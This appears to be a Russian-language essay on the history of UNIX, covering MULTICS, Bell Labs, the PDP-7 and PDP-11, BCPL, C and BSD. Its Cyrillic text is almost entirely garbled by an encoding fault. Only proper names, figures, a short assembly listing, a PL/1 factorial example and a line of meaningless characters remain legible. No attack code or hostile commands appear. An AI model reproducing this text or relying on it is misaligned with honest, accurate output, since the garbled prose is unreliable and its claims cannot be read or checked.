筮 ⠪  ஢  ᪠ ⢮ ᯫ⮢, ⠭  ࠡ  । UNIX   㭪樮  Windows.   ⮬,  UNIX   ᢮  ନ஢  ⮢ ஢ ⮪,    室   ⠪. 㭨樮 㭪樨 Windows  ।⠢ ⠪ ⥩, 믮   ࠡ ⮬᪨.   ᮢ襭 ᯮ碥 ⢥ত, 类 UNIX ᥬ饥 Windows  ⮫쪮     <騬> 堪⢮. ! ⥫쭠 ⥪ 蠥 ஡,  室 ᢠ UNIX ࠤ    ᪠ ᯫ⮢  ⯠.
筮 ⠪,    ࠡ   ப  UNIX-祪.  , 祬   ᪮ 䥩 堨筮:   뢠 室  㤠 ࠢ UNIX-設,  祬 ஡ ᪠뢠   < 믮 ணࠬ>.
,  Internet    ᫥ ⥪ UNIX.  㤨⥫쭮!   ⮪ ࠧࠡ뢠   ⮩ 樮 ⥬    ६ Internet ।﫨  < UNIX-設>.   ⠬, Internet - 樮 ⥬ MS-DOS  Windows 9x/NT    ⮬ ,   ᢮   UNIX:
⮬ ᫥ ࠧ  < 樮 ⥬ >.    ⮩   ⥯ ᫥  楯樨,  ᨬ ࠧ 믠   ਪ 䥩ᮢ,   樮 ⥬    ⭮.
  ࠧ ,   ᢮ 㭨쭮 ன, ࠤﬨ, ࠢ  ﬨ. 孨᪠   ॠ㥬 ⥩   孨᪨ 䫨⮬    ࠧࠡ稪 ࠧ .  ࠢ  ப,  모 ਯ⮢, ⨥ 䨣樮 䠩: 㣨  । 㦥 䥩 짮⥫,   誨    ⮬⨧஢  ⠫樨.
 ᪨ < ⨭>   < ࠢ>.  ᪨ 䫨 <殢  ⥩>. ஥  ⭮ ⠥  ᢮ ਢ窠  । 뢠   < 祪>.  ᢮ ६ <騥 ணࠬ> ⭮ᨫ  UNIX 筮 ⠪,  ᥣ 䠭⨪ UNIX ७०⥫쭮 뢠  Windows.





< ࠪ᪨  ய⨫  -, ᨤ   設  "ᮢ". 뤠 ⭮ ⥪ ⮩ ⥬,  ᮬ ॢ樮  ⠭  ᪨ ࠤﬨ ணࠬ஢, 묨   ᭮, ⠢﫨 ⭮  UNIX   ஭ -   ⭮ ⥬  ࠧ  몮   㤠 ஬ 讣 ᫠  ⠥  ⨩.
    砫    㤥᪮ , ﯠ  ᪮   ᥡ  㧥,  㦥  뫮 ᨫ ணࠬ஢  ᥬ  BCPL. , ᮡ⢥,  ᠬ ᮧ⥫ 몠  ᫨誮 뢠  ⠪ ࢮ砫쭮 ਥ樨 >
 㥢









   樨 UNIX


O  ⮩ :
O  
O ⥭ ᥬ
O 樮 ⥬ RSX  OS/360
O  MUTLICS
O  UNIX
O ફ᪨ 
O UNIX  
O ⪠  LINUX





":Unix -  譮 㤮, 㦥   ᥬ ࡭  -     ᮢ "⮢" ਧ樨.  ⮣ -       ⮯஢, -  ਬ⨢ ᪮ ࢮ⭮騭 㭨:"
३ 㡨᪨




"  뫨 ६. , ਬ,  ⮬ ६ ᢮  15 ᥬ஢   㦭 設: " ᠫ  ⮭  ᢮ ᯮ.  ⪮     뫨 ᪨ ࠭祭,  ணࠬ ࠡ⠫ 襩   設 . 砫 ⥪ ணࠬ ⠢﫨  㬠 (!), ⥫쭮 ஢﫨, ७ᨫ  䮫  < :⭮  祪 ⠪  500,   . १  ( ᫨ ,   १ )    ᯥ⪠ > ᯮ  ᫮ [50].

㤮 뫠 ୠ. ࠣ 䮪, ਢ , ᮤন ⠭ ணࠬ ᫮  楫   ᥫ  ய  580.
????  0O0O00OOOO000O0OO0O0OOOO0000O0O0O000OOO0000000O0000000OO00O000OO  000OOO0OOO0000O0000000OO00000O00OO00000O0O0OO0O0OO00O00O       
  த ( ⥬ ६!) ஢ ண ,  ⥫ ࠧ  ६, 祭  ⠢ ணࠬ,  ᪮ ࠡ 設. 騢 ᫨⥫ 魮  ᮢ襭⢮ ਥ ணࠬ஢ ⠫ ᫥ -  離 <祫-> 㧪   祫.  ᮢ襭  ࠢ      믮 ணࠬ,  ⠢ ன 襫 楫 , ᫨  ६ 襭   襩     த⢨ ,  ᪮ ணࠬ஢.
஬ ⨦ ⠫ ⥭ ᥬ, 饣 ࠣ஢  㤮  祫 設 .   稫  騥 ᨬ  - ,    ࠡ  ᫥ ᮢ 室  ᬥ饭    ᥡ.   㤮⢠ 諮 , - ணࠬ, ᠭ  ᥬ, ॡ ॢ  設  । ᪮ - ᥬ஢. ।⢥ 饭   稢,  ணࠬ 﫨  設 , 㯠 ᢮  . ⮬,  ।⠢⥫ ண  ࠩ ⨢ ⭮ᨫ   ண,  ணࠬ஢  ᥬ <騬>.
  ,  ਢ  <᪠> ᫥⥫쭮 祪 稢  ⠨⢥    몥 룫拉 ⠪ [51]:


 MOV D,E

 PUSH B

 XRA A

 for:

 LDAX B

 ADC M

 STAX B

 INX B

 INX H

 DCR E

 JNZ for

 POP B

 MOV E,D

 RET




ᥬ ⨭,  ⫨稥  設 , 㤮    ஢.  ⮦ ६ ࠭ 䥪⨢ ࠡ -      , ⮬ १ 樨 祭 <筮> 設  [52].


१ <ଠ>




⭮,    ⨯ ᥬ  , ࠧࠡ⠭  1955  堨 祬 -    -20 - ࢮ ᮢ᪮  [53], ⠢塞   ணࠬ ᯥ祭.  ⮬ ࠡ  設 ⥫쭮 頫,  ணࠬ஢ -᪮﫮.
ᥬ   ୮.    뫨 ᮧ 樮 ⥬, 騥   ⥭  ப , ᪨ ⥬᪨ ⥪ ணࠬ, ࠧࠡ⠭  ஢ ᫮ 䨧᪨ ஢:
 ᮦ, ணࠬ, ᠭ  ᥬ, ᮢ襭 ७ᨬ  㣨   ⢨⥫  ୨樨  - ⢥ 室 ९    ᪨ 룮, 祣  ਢ뢠   ࠫ쭮 ॢ襩 䨣樨. ਬ,    ஬業஢ ᪢ 設 -6  ᢮ 㭨쭮,     宦 ⥪, ᪫饩   ஢ ணࠬ ᯥ祭  ᮢ६ , ᯮ짮   1991  (,  , ࠭  ᥣ譨 )!
騥 , 業 , ⠫ ६ ᪠  ਡ⥫쭮  ⥪  ਡ  ⭮ 樨,  ᯥ ਥ ७ᨬ.  ᮦ,  ᮢ⨬  ࠭ ﬨ (   ﬨ ஭ ந⥫) 筮  ⨣,   㭨 ணࠬ ࠡ⪨  .
ਬ, 樮 ⥬ IBM OS/360  RSX-11 뫨 ᠭ 楫  ⨬஢ ᥬ  ࠦ 类,    㢨. 㪠  - RSX ᯮ﫠  16-ࠧभ  PDP-11    ਫﬨ ⢮ ᥣ  32 ⠬ ⨢  [54]!  ࠧࠡ稪 ਫ ঠ  筮,  䠩 ⥬, ૥ (㧪 ᯮ㥬 ⥩ ਫ     )  ஢   ॠ쭮 ६.   ॡ  ᥬ 楢 殮 ࠡ ⨢ ⠫⫨ ணࠬ⮢.  ᮦ,  PDP-11 ⢮ ,     祧  RSX-11.
 IBM OS/360 易 㣠 . <㡮 > ᪠ ⢮  ஢ ࠧ筮 祭  䨣権,   ᮢ⨬  ᮡ. 㬥,  稭﫮 ஬ 㤮⢠   ᮧ ணࠬ ᯥ祭  ᥣ ઠ 設, ⠪   প ॡ⥫.  ਬ, 쪠   㧭  㯠 襢  ,    , ਮ  ᮢ襭 , ਡ  IBM  ⥭ﬨ  ᮢ⨬, ॡ  죨  ⠢  ࠡ.
    ਨ ᮢ⨬   㣮 ⠡㥬 ஢, ᯮᮡ 騢 ᢮ 魮 ⮩ ⠭  㤮 [55].  <360 [56]>    - ᨬ , ᥮ꥬ饣 墠 뭪 -  ⮫ <஢>,  ⥬ ࠢ ந⢮. ,    ४ ⢮ ⮩ ⥪, ⮬  ணࠬ ᯥ祭 ७ᨬ  ॡ  롮 ᥬ  ⢥ 몠 ணࠬ஢ 樮 ⥬ 룫拉  筮.  ⮬ ,   ᠭ  몥 ᮪ ஢,   設 ਨ ᯥ ਥ ந⥫쭮 ⠫  .  ᮦ, < > ᪮ 㬥ૠ, ᭥ ᮭ,     㫠  ᮪ ਨ  OS/360.
,  ४饬 ᭨ 業  ,  ண ६    ணࠬ  ७ᨬ 몠 ᮪ ஢, -  ந⥫쭮 㯠 <> த.
, ୮ 㬠,  ࠭    ⢮ ᮪ந⥫ ஢. , ਬ,  Honeywell  1973  㯨    ஢, ᭠饭  ⠭⭮ 䨣樨 768    ᪮ ⥫ 1.6 . ⮨  㤮⢨ 浪 ᥬ  ஢,   㯠 襢 [57] ணࠬ ᯥ祭, ஥ 㦥  㬨ࠫ  室   設.


१ <᪨ 䠪>*




 1974   ⮪쬥 襫  祬   嬠⠬,  ஬ ॢ  ᮡ  , : 設.  ᫮  ணࠬ  뫨 ᯮ  ᮡ⢥    ⭨.
᫨ ७ 訬 宦ﬨ  ⬠, ⠪   ᢮  ॡ,  ᥫ ⮫쪮  த⢨ ,   ଠ쭮 ࠧ⨨ ᮡ⨩ ਭ  ப ࠧ४஢ ਪ᪮ ࠧࠡ⪥ <Chess 4>.
    ਩  ,  ᪨ ᢮ <> 믮  ⨬஢ ᥬ!  ⮩ (  ⥬ ६)  <> 祭 ⪮ 㤥  ⠫ ⥭⮢, 稢  筮 ⮣  嬠 쥣 ࠧ鸞  ࢮ   .
,  ।  ᮧ⥫  뫮   嬠  ࠧ冷,  ᯮ짮    - ᮡ த ᮪ ⥫㠫 ,  ⥩訥 樨 ॡ.
 ᥬ  ஢  祭 ண,  ⠪  뫨 㯭 㯭  㯭訬 ⠬  ଠ.  ந⥫  ⮣ ।⢮  , 樠쭮 㫨஢ ⥫쭮  -  1978 ,     Bell Labs, General Electric's, Ford  MIT (᪨ 孮᪨ )  1965   﫨 ண騬 ᯥਬ⠬, 楫  뫮 ᮧ 㭨ᠫ쭮, ७ᨬ, 짮⥫᪮, ᮪ந⥫쭮 樮 ⥬.


१ <᪨ 䠪>




 1965  म  (  ᭮⥫  Intel) । ୠ Electronics ᨫ  ண 饣 ஢ ⮢  訥 ⨫⭨. , ஠஢    뭪  ᫥   ( 1959   ⥭  ࠭,   1965    ⠫ 㤠 ࠧ 64 ), 襫  뢮,   祭 ᪮쪨  ᫮ ࠭஢   稯  㤥 㤢: ",  ந室 㤢. ⫨筮, ⠪, 宦, 㤥 த   殮 ᫥ 10 ". ࢥ஭      ண ,   ᠬ    । ᪮  ⠪  ᬮ த.   ।᪠ 諮  ਤ  ,   ᥣ   﫮 ᢮ 㠫쭮.
<᫨  ⮬஥ 樮஢  ᪮ ஢ ஬諥,  ᥣ <-> ⮨  3 ,   ஥      ,  뫮  襢  , 祬   મ> ⨫ - ࠧ  ⮬  .




㭮 guyswithitbd.gif (㭮   ᠩ  Intel)



 ⮣ ஥ General Electric ⢮ ᮪ந⥫쭮 36-ࠧ來 設 GE-645  娬   ᥣ譨 ઠ ஬, ᭠饭 ॢ室 쭮 ⥬ /뢮, - ᮢ襭 ⥫   ६ ᪮.
஥ 稫  MULTICS (Multiplexed Information amp; Computing Service) [58].  ,  ५ 1969 Bell Labs ࠧ  ⨣ १  ४ ᢮ ⨥  ஥,   㤠,  ,   MULTICS,  ਬ  樮 ⥬ RSX, VMS, UNIX   Windows NT.    ⮩   ⥯  襭,   ⮣,   ⨤  ࠪ᪨   祣 .


१ <砭>




<᫨ - த  ᯥ,   ᫥饬 横 ஥஢ ࠧࠡ稪 ""   ࠧ: ᪮॥ ᥣ,  㤥  ࠤ쭮  ⥬,  ᮢ襭⢮ :
쬥 ஥,    ᮧ 묨 ଠ 筮 ० .     뫠 ⢮  ᫥, 믮   祡  த ᪮ 孮᪮  (MIT - Massachusetts Institute of Technology).  60-    祭 MIT ࠡ⠫  ஥⮬ ⢠ ஭    MULTICS,   Digital, Data General  -᪠  IBM  ᪭ MIT  㣨 㭨⮢ ⮪ .
  樮 ⥬, ࠧࠡ⠭ ⨬ ଠ,  﫨  ஥⮢,  MULTICS.  ⮩ । த  樮 ⥬ Unix, ᮧ  Bell Laboratories. ஥   ।⠢ ᮡ ਠ樨      ⥬ -  祬  ⠪ 室   㣠.   뫮    祣- ࠤ쭮 ?> - ᪠    ஢  IBM.
 ⫨稥  ᢮ ।⢥, MULTICS ࠧࠡ뢠  㥬 몥 ᮪ ஢ PL/1, ᮧ  ᭮ ,     ਥ஢   ।   ஢.   쭮 ࠧ , ন騩 ࠡ  ᯨ᪠  㣨 ᫮묨 ࠬ   ,  ᢮ ६, ᪠訩 뤥   ६ ࠧ묨 ᯮᮡ.
, ਬ, ணࠬ,  䠪ਠ,  룫拉 ᫥騬 ࠧ:
 FACT: PROC OPIONS (MAIN);
 DCL N DEC FIXED (2), Z FIXED(15);
 GET LIST(N);
 Z=6;
 DO I=4 TO N;
 Z=Z*I;
 END;
 PUT DATA(Z);
 END FACT;
 ࠢ,   ணࠬ, ᠭ  몥 ,   㬥頥   ப:
 for (int i=1;i-n;i++) int z=z*i;
     ᫮   ᨭ⠪ PL/1, ᠫ    ॥, 祬  ᥬ,   1968  (     ᫥ 砫 ஥) MULTICS 砫   祭 樮 ⥬.
ন ᪨ ⪮ ⨢ , ࠧࠡ稪 㬠  㠫쭮   ࠭筮 ࣠樥, ப ᯮ㥬 ᥣ  ⠪ 樮 ⥬  UNIX  Windows. 㠫쭠   ᥣ⭮-࠭ ࣠, ⤥ ᥣ   ணࠬ .  ᥣ  ਡ , ।騥 ਢ 㯠. ।  ⪮ ⥭/   ᯮ  㦮 ᥣ 樮 ⥬ ஢﫠 稥 ࠢ  ⠪ , ࠭   ᪨ ⪮   ⥫ 諥  ४⭮ ࠡ ணࠬ.  ᫮ ᪠,  UNIX,  Windows  ᯥ稢  ஢ . ⤥ ਪ ਫ   樮 ⥬,     ६  ஭  ᠬ  ४⭮ ᠭ ࠩ஬, 騬 ࠢ  ஬ ਢ. ,  Windows NT  -   ,  ᮢ㯭 ࠩ஢.
  MULTICS    ᪮ 뢠 㫥  室 믮 ணࠬ,  ⭠ ᮢ६ ⥫  ⨬ ᫮ DLL  Windows.  ਥ ᪨ 訫  ᮢ襭⢮ ૥, ᯥ稢 , 㭨஢ 䥩   ணࠬ,   ⥫  ⨢    ᮢ.      (ਬ, ணࠬ 뢮 ᮮ饭  ࠭) ⥯  ॡ ᪨ 㦠  ᪠   ᯮ짮 ᪮쪨 ਫﬨ ६. ࠢ,  ⠪ ࣠樨  ஡ ᮢ⭮ ᯮ짮 ⥪. ⨬,  ਫ, 㧨襥  ᢮ 㦤  ⥪  饥  <  ᢮>,  ⢨⥫쭮  ᫠  㦥 㦥   ᥣ, ⨢ ᯮ㥬  㣨 ਫﬨ.  ந, ᫨ ਫ, 饥 ⥪ ᢮, ⠥  ᫥ ஢ ( ᫮,  室 ࠢ   )? 㬥, ⥫쭮   ⠫ ਫ,   ⠪  ᮡ⨩   . ⮬, ࠧࠡ稪 ਤ㬠 堭 <஢  > -  ࢮ  ⪥ 䨪樨 ⨢ ᯮ㥬 ᥣ ᮧ  , ।⠢塞   ᯮ殮 饬 .   ᮢ६ ⥬ ন ⠪ ! [59]
᪠ 䠩 ⥬     MULTICS,    UNIX,   ⢥ত   ᫥.  ⥬ MULTICS  ⮫쪮 ᪠  ४ਨ,   ꥤ﫠    ॢ  䠩, 䨧᪨ ᯮ  ࠧ ⥫.  ஢ ॠ樨  룫拉  ॢ,  㧫 ண 室  ⠫,  ﬨ 㯠 뫪  䠩. ६ 樮 ⥬ UNIX  Windows ᯮ 襭 ਠ ⠪ 奬.
 ஥㥬   䠩 (memory mapped files) த    Windows NT,   ⮬  MULTICS. ࠤ樮 䠩 ⠫  ,  ᫨ ⮩  뢠 筮, ⠭ ࠣ  뢠  . -  ࠧࠡ稪 MULTICS   ᫨誮 ,   । ஥஢ 䠩  㠫  [60],  ⥬   ꥤ ⥬ /뢮  ஬ 㠫쭮 .  ࠧ, 㤠   ⭮ ᮪ ᫮ 饭  , ⭮ 모  㡫饣   樮 ⥬.
 䥩, ᮡ  ⤥ ⥬, ⠪    MULTICS. 筮,    䨪      諠,  ⢨  짮⥫ﬨ   ᮢ६  뫮 筮 㤮  來,    ६   룫拉 ஬ ணᮬ  蠣 ।.
,  祢 ᯥ客,   뫮  ⪮. ⥬  砩 ஦૨   䥪⨢ ࠡ ॡ 㤮 ஭᪮ ⮨.   ⮬ ᭨ 業  , 뭮 ⥭樠 㯠⥫  ᬥ⢮୮ . ࠪ᪨ ⢥ 짮⥫ MULTICS   Ford. ⠫ 뫨   ﭨ 뫮 ॡ㥬 㬬 ( ⮬   室  ⮫쪮  <>,    襩 ⥯   ᠬ ⥬).
  , 㪮⢮ Bell Labs ⠫ ᢮ 쭥襥 ⢨  ஥ ᫥   1969  諮  .   MIT த ᮢ襭⢮ ⥬    ⮣      祭 ﭨ, ,   ।४ Bell Labs, ᢮ 㯠⥫ ⥬  諠  ⠫ ॡ.
 ⮣   砫  ਨ ⥬ UNIX.   ४饭   ஥, Bell Labs ⮧  ᢮ ࠧࠡ稪, ।    ,  ᮭ,  ன   ᠭ.   ᯮ짮    ᮧ 襢  ॡ⥫쭮   ᠬ 祭 ਠ MULTICS,  ⨫  樨 㪮⢠ Bell Labs  졮 ਮ  ⮩ 楫  ।   뤥  㬬  ஥.  , ࠧ஢ ஢ MULTICS, ⪠ 䨭஢  .    ਪ 室  ⮬,  㫨஢ ஥ 룫拉 筮 㡥⥫쭮  㬥஢.  㣮 : Bell Labs  嫠  樮 ⥬       筨 ਡ뫨 -  室.
 ⪠   ⨫ ࠧࠡ稪.  ᮭ      㯨  ஥஢ 䠩 ⥬ 饩 樮 ⥬  㬠!   ⮣    ᮭ 諠   - ꥤ 祭   ன⢠   䠩    ⥬. ९   ᢮   ࠪ⨪,  㦨    < 㣫 > । ᯮ㥬 PDP-7  稫 ࠧ襭 㪮⢠ ⢮   ६ ᯮ짮. 祭 쪨 ⮬, ᮭ  ᫮  㯮  樮 ⥬  ᭨ ᢮ ॡ  :  ७   ஢ ணࠬ <Space Travel> (<ᬨ᪮ ⢨>), ᠭ   ⮬  1969   室 ஥ MULTICS  몥 ࠭  樮 ⥬ GECOS (⠭⭮   ஢ General Electric).   ६   ࠬ ⭮ᨫ 㤠 쥧, 祬 ᥩ,  ७ ᮭ, , ९ᠢ   ᥬ,   ⥫쭮 㢥祭 ந⥫쭮, ᪫ 㪮⢮  ६ 뤥 孨  ᢮    ⠫   ଥ.
 ᮦ,  PDP-7  ⢮  ਥ ᥬ,  ⥪  প ᫥  饩 窮 (  ॡ  ). ⮬, ᮭ ᯮ짮  ᥬ GECOS, 㬥騩 ନ஢ , ⠥ PDP-7,  ᮧ 室 㬥਩ ᠬ⥫쭮.  쭥襬  ࠡ  ᪫⥫쭮   PDP-7  প  ஭ GECOS.
 㤭 ,   । ᮭ 㯨  ᯥਬ⠬  ᢮  䠩 ⥬   㤨 㦨: 樨 /뢮 ⥫쭮 ,  ணࠬ஢  ᪮. ࠫ쭮  ᠭ  ᮧ  ᯮ⥫ ⨫  ஢, 㤠, ।஢ 䠩   ਬ⨢  .  砫 1970    宧⢮ 뫮 㦥 筮  ⫠   﫮 ᭮᭮ ࠡ.   뫮  ⨧筮,  த㬠  䥪⨢ /뢮,  ⮩ ࣠樨 ᮢ, :   ࠡ⠫,  ᮧ ணࠬ 㬥਩  㤮  筮 ,   祬  㯠 ⨫⠬, 騬  㣨 .
  㪨 ࠩ ਣ  ⥬  த  MULTICS 稫  UNICS (Uniplexed Information amp; Computing Service). , ணࠬ  ⠭ 諥, ᪫  ᮪饭  ⨬樨,  "CS"  "X"  ⥬ ਮ५  UNIX.
 ६, ⢥ ᮭ, 諮  ,   PDP-7 諮 . ⭮ 祬    稫, ᫨    ன ᠭ, ।襣 㪮  樮 ⥬ 䨭஢ ⥬ ⮢ ⥪⮢  ⥭⮢,  ன  ࠩ 㦤.  㤠,  ᪮ ᯥ樠쭮  ࠧࠡ稪  ਮ⥭ 訩  ⥬ ६  PDP-11, ⮨  65  ஢, ᯮ騩 24 ⠬ ⨢   512 묨 ⥫ﬨ (祬,   ⮫쪮 ,  ⥫     ⢮). ७ UNIX     ।⠢ ᫮ (⥪  ஢ 뫨 ),  ᪮쪮   稭 ⢨ ⥫  PDP-11.   , , , ⥬ 뫠  ஡ ७ᥭ.
 ன  1971  UNIX 砫 ᯮ짮  ⥭⭮ , ⥫쭮 ॢ室  㤮  魮  騥  뭪 ⥬. ⮬, 㪮⢮    쭥襥 ࠧ⨥ ஥,  ⨢ ࠧࠡ稪 ।稫  ᨫ  쭥訬 ᮢ襭⢮ ⥬.
७ UNIX  PDP-7  PDP-11 ⠢ ࠧࠡ稪 㬠  ﬨ 襭 쭮.  ⮬   祭  ⥫  ௥  ᥬ஬.   뢠   ⥬  PL/1,    ⥫쭮 訫 ந⥫쭮,     㦨 ७ 㪮⢠.  ⢥ ࠧ㬭 樨 ।  ࠭     -   ⮢ BCPL [61].  ਢ ⮩   祭, 來 ⨭  宩 ந⥫쭮. ,   殢, 롮 ⠭  . ᪮  ॠ樨    PDP-11   ⢮, ᮭ 諮 ᠬ⥫쭮 ࠧࠡ뢠  ⥬.
  UNIX   1972 .   ⠫ প  (pipe), ⢮ ஥  樮 ⥬ DTSS (Dartmouth time-sharing System).  ᯥ稢 ⮩    묨  ᠬ   筮 ।   ᤥ   ॢ樮 蠣 । (,  ন ࠪ᪨ ᥬ ᮢ६묨 樮묨 ⥬,  ⮬ ᫥  MS-DOS).
ᯮ짮 㥬 몠 ⭮ 訫 ந⥫쭮 ⥬,    ࠡ  ᫥ ⪨, 饥 .     - ⢨ ⨯ ६ (筥 , ন ᥣ  ⨯, ࠢ 設 ᫮). ﭭ  ८ࠧ   ᯥ樠  㭪権 ஦ ⢮ 㤭㫮 訡.  ᥬ  ⥫쭮 ,  , 㢫騩 ࠧࠡ⪮ 몮, 訫 ᮢ襭⢮      ⥬ ⨯.   稫  , ᮣ᭮ ஬ ᨬ  "BCPL".  襭 ந⥫쭮 ᮭ ।   , ॢ騩 ணࠬ, ᠭ    設 .
।  UNIX ⫨砫  ந⥫쭮, ࠪ᪨  㯠 ᨨ, ᠭ  ᥬ,  ॡ ⥫쭮  ᨫ  ᢮ ᮧ   뫠 易  -  ⭮ ⥪ன.  13.000 ப ணࠬ 樮 ⥬  800 ਭ ஢ , ᠭ  ᥬ.
   ࢮ砫쭮 ਥ஢  ⥬ UNIX,    ୮   㣨 ଠ. ᪮  ॠ樨  IBM SYSTEM/370, Honeywell 6000, INTERDATA 8/32.
 ୮  ᫠  ᢮ .  ⫨稥  ⢠ 㣨 몮,  -   ஢,   ᥬ.   設묨 ⨯  ⠪,  ᨬ, ᫠  㪠⥫. ஥ প ࠡ  ப, ᯨ᪠, ᨢ  㣨 ᫮묨 ࠬ    .
< 몥 "C"  樨, 騥  ।⢥  ⠢묨 ꥪ⠬, ⠪  ப ᨬ, ⢠, ᯨ᪨   ᨢ, ᬠਢ묨  楫. , ਬ,     PL/1,騬  楫묨 ᨢ  ப.   ।⠢  㣨 ⥩ । , ஬ ᪮ ।  堭 ⥪, ᯥ稢 묨 ६ 㭪権;    "" (HEAP),  "ᡮન ",   ।ᬠਢ  -68. , ᠬ  ᥡ "C"  ᯥ稢  ⥩ -뢮:   ஢ READ  WRITE   ஥ ⮤ 㯠  䠩.   堭 ᮪ ஢  ᯥ稢  뢠묨 㭪ﬨ.
筮,  "C" । ⮫쪮 , ᫥⥫ 樨 ⮪ ࠢ: ஢ન, 横, 㯯஢  ணࠬ.   ⨯ணࠬ஢, ࠫ 樨, ᨭ஭  ᮯணࠬ:
 ⢨    ।  룫拉   業 ("室,      㭪樨, ⮡ ࠢ  ப ᨬ?!"),  㤥ঠ 몠  ஬ ࠧ  ॠ २⢠.   "C" ⭮⥫쭮 ,   ॡ    ᢮ ᠭ     祭> - " " .. ୨, .. .
 1974  ⢥  UNIX,  ᠭ  몥 , 稫 ७ 㪮⢠,       樠쭮 樮 ⥬  ਬ  ⥫䮭, ᯮ㥬  .
  ⥬ ६ UNIX ।⠢﫠 ᮡ 㡮 ५. 㠫쭠   ন ( ⢨  PDP-11 Memory Management Unit - MNU), ᪮ 뢠 ⢮,  䠩 ⥬  ⥭ᨢ ᯮ짮   ࠣ樨    60% ᪮ ࠭⢠  ࠭稢   14 ᨬ,    ८ 㡥  ࠭祭 <64   䠩> - 訩   ࠭ .
    ⥬    ᯥ宬 ᯮ짮  ࠢ ஢묨  (  ६ ந室 ᮢ  㤮, ᫮襥   ⥫䮭 騪 - ਪ஢,   㦥 㣠 ).


१ <砭>









 PDP-10 뫨 ᪫ ᬠਢ ᮮ⢮ Unix  ᡮ ᪮祪, ᯮ 㬥਩,    ਬ⨢  ࠢ  묨, 騬 ᫮ﬨ LISP  ITS. <    !> - 砫 .
<⪠  ࠭ 堪஢>
ਪ . 




<᭮ ﭨ  롮 몠 ணࠬ஢ 뢠 ᮭ:   모   ᨭ⠪ᮬ, ⠢騥 ᫨誮    :  ᮭ, ९ ⮬ ᥩ , ਢ  ⮬,   1971 .  㯠  ஥஢  몠 ணࠬ஢, ஬ 㦤   饬 ᭮ ࠡ稬 㬥⮬ ⥭  ணࠬ⮢:>
"UNIX - 쪠 ᥫ" ३ 㡨᪨

⥬ ᮢ  㣨 , : ⨬쭮 ⥫⢮ ਪ 頫 Bell Labs   㣨 ᮬ, ஬ ⥫䮭, ⮬  ᪮ ࠭ ⥬      . ,  ஬ 㤮⢨, 諮 ࠭ UNIX  ४  ᮯ஢  ᫮ ᨬ 業.
ࢠ ஭ ⠫ UNIX  Bell Labs 뫠 ⢫  㭤஬   New York Telephone,   ⪮ ६  Bell Labs 訫 誢 ᮢ UNIX.
ਡ⥫쭮    ६  ⮬ ᨬ㬥  諠 ࢠ १ 樮 ⥬ UNIX, ᮯ஢  ᭠,  ந  ⫥   ફ᪮ 㭨 . .  㤠 㡥 ᮡ⢥ 㪮⢮  室 ਮ⥭ PDP-11,   ﭢ ᫥饣   ફ ஭ UNIX.
 ⮣  蠥   뢠  ⠭ ਨ UNIX.  筮 ﭨ ᨫﬨ  ,    ਪ   ॢ⨫  業  樮 ⥬ ᭮ ⥣஢  Internet.  㤨⥫쭮 -    뫨 ࠧࠡ⠭ ᭮ ⮪ Internet  饤 䨭஢ ⢠ ஭ .
 砫      ⥬ < 㬠>, 稢  ࠭  ⠭ (  ⮬᪨ ⠫஢   ६   ⢮).  ᮡࠫ  㯭  ணࠬ ᯥ祭   , 稢訩  BSD 1.0 (Berkeley Software Distribution),   稫 室 ⥪ UNIX,  몮   ᪠   ᢮ ᮡ⢥ । ⥪⮢.
㬪 㤠  UNIX 稫 ப ࠭ । 㤥⮢,     ᨫ묨 ணࠬ⠬, 騬  ⥬  ॡ ﭨ.   । 뫠  ९ᠭ 䠩 ⥬. ࠭ ᠤ ࠭祭    䠩  14 ᨬ, ਢ  255 (ਢ,  稥  । ᯮ짮 ⭠ ࠧ冷  쬨,  㢥稫     255  65535 ᨬ, 㣨  १ ࠦ, ᪠, 祬  㦭).  室 ࠭ ࠣ  ᪮쪮 訫  ந⥫쭮.
ᮢ ந室騬  ફ ᮡﬨ,  ᮭ  1976 訫 ஢ ⠬  ᢮ ᪨ ,  ਭ ⨥  ᫥.    (    - ஡- ⥯, ࠧ,   뫮) ᨫ  㤭 Bell Labs      UNIX 뫠 ᯥ譮 ७ᥭ  32-ࠧभ  ᥬ⢠ VAX,  ᪠ প ࠭筮 㠫쭮 . ।  ⥬ ਮ५   MULTICS, ࠢ,   ᠬ 襩 ॠ樨 - ᨢ ஢, ࠧࠡ稪 ⪮ ९  ⥬  ⨢ ,   ᢮  .
   ᥣ  ᮢ⨬ ࠧ ନ, 㦤 뢠 ᮡ ࠢ  ,  ᪮   ணࠬ ᯥ祭.   termcap ࠪ᪨  ࠭ ஡ ᮢ⨬,   ࠣ஢  ⭮ ॠ権.
  ફ  ⥬ TCP/IP, 䥩 ᮪⮢ (⨢ ᯮ  ᮢ६ 樮 ⥬, ਬ, Windows  㥬 ᮪⠬ ફ). ⥫쭮 ᮢ襭⢮ 堭 ୮ ⢨ : ᪮  UNIX ࠪ᪨  ⠫ ਣ쭮  Bell Labs.
- 諠    - ९ ⠢訥 ࠣ  ࠭ UNIX ᯫ⭮. 孨᪨   ᫮,   ⢮ ਤ᪨ ९⢨, -  [62]   ⥫    ७,    ⨫  ⥭ﬨ  .
 ६ 砫  ७ᮢ UNIX  ᥢ ⥪. ᯥ ࢮ   ਭ  䥫  㭨  (ࠫ), ⢨襣 ஢ UNIX  ⥪ ਭ樯쭮 ⫨  PDP-11.  ࠬ ࠭祭 䨭ᮢ ।,     ᥡ ਮ ண PDP-11  㯨  襢 32-ࠧ來  INTERDATA 7/32, ᭠饭 ਬ⨢  㤮 짮⥫᪮ 樮 ⥬ OSMT/32. 砫  ⠫ ᮢ襭⢮ ᫥,  ᪮  ᯥᯥ⨢ ⠪ ⥨  訫 ७  INTERDATA ⥬ UNIX.  ﭢ 1977    , ࠡ騩  , 稫  ᢮ ᯮ殮  , ᯮᮡ ஢ ᮡ⢥ 室 ⥪  INTERDATA 7/32,   祬 १  UNIX ᯥ譮 ⨫  ⮩ 設. ண  <⨫> ᫥    窨, ᪮ UNIX ࠡ⠫  OSMT/32   ন  ࠢ ନ,  ࠡ⪨ 뢠,  ਬ⨢  (  窠) ᮤঠ ᥣ ᥬ .
